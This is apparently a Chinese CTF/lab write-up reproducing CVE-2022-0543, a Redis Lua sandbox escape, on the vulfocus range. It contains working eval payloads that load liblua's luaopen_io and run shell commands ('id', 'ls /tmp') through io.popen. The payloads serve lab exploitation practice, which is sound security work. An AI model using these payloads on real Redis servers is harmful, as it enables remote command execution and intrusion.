vulfocus靶场之redis命令执行cve-2022-0543漏洞复现

漏洞:

Redis是著名的开源Key-Value数据库,其具备在沙箱中执行Lua脚本的能力。

Debian以及Ubuntu发行版的源在打包Redis时,不慎在Lua沙箱中遗留了一个对象package,攻击者可以利用这个对象提供的方法加载动态链接库liblua里的函数,进而逃逸沙箱执行任意命令。

我们借助Lua沙箱中遗留的变量package的loadlib函数来加载动态链接库/usr/lib/x86_64-linux-gnu/liblua5.1.so.0里的导出函数luaopen_io。在Lua中执行这个导出函数,即可获得io库,再使用其执行命令

1.工具方式: 使用Another Redis Desktop Manager

地址:AnotherRedisDesktopManager 发行版 - Gitee.com

输入网址和端口,点击OK

显示连接成功

输入攻击代码 payload即可:

查看当前id ,需要更改的地方红色字体:

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("id", "r"); local res = f:read("*a"); f:close(); return res' 0

查看ls /tmp

eval 'local io_l = package.loadlib("/usr/lib/x86_64-linux-gnu/liblua5.1.so.0", "luaopen_io"); local io = io_l(); local f = io.popen("ls /tmp", "r"); local res = f:read("*a"); f:close(); return res' 0

拿到flag:

相关推荐
开开心心kai1 小时前
如何快速申请免费SSL证书,实现网站HTTPS安全传输
网络·网络协议·安全·https·ssl
想拿 0day 的脚步小子1 小时前
5.pwn Linux的延迟绑定机制
汇编·安全·渗透测试·pwn
w_t_y_y3 小时前
加密(3)非对称加密
安全
FreeBuf_7 小时前
AttackGen:一款基于LLM的网络安全事件响应测试工具
安全·web安全
余人于RenYu8 小时前
高德地图 key 和安全密钥使用
前端·vue.js·安全
星贝育园康复中心8 小时前
微笑背后的秘密:理解自闭症儿童的面部表情控制
学习·安全·生活
Catherines78 小时前
ssrf结合redis未授权getshell
redis·安全
网络研究院9 小时前
泰国内部安全行动司令部数据泄露
网络·安全·黑客·数据·泄露·技术·威胁
金灰10 小时前
日志自动分析-Web---360星图&Goaccess&ALB&Anolog
前端·安全·web安全·网络安全·系统安全·安全威胁分析
行置水穷处11 小时前
[终端安全]-1 总体介绍
安全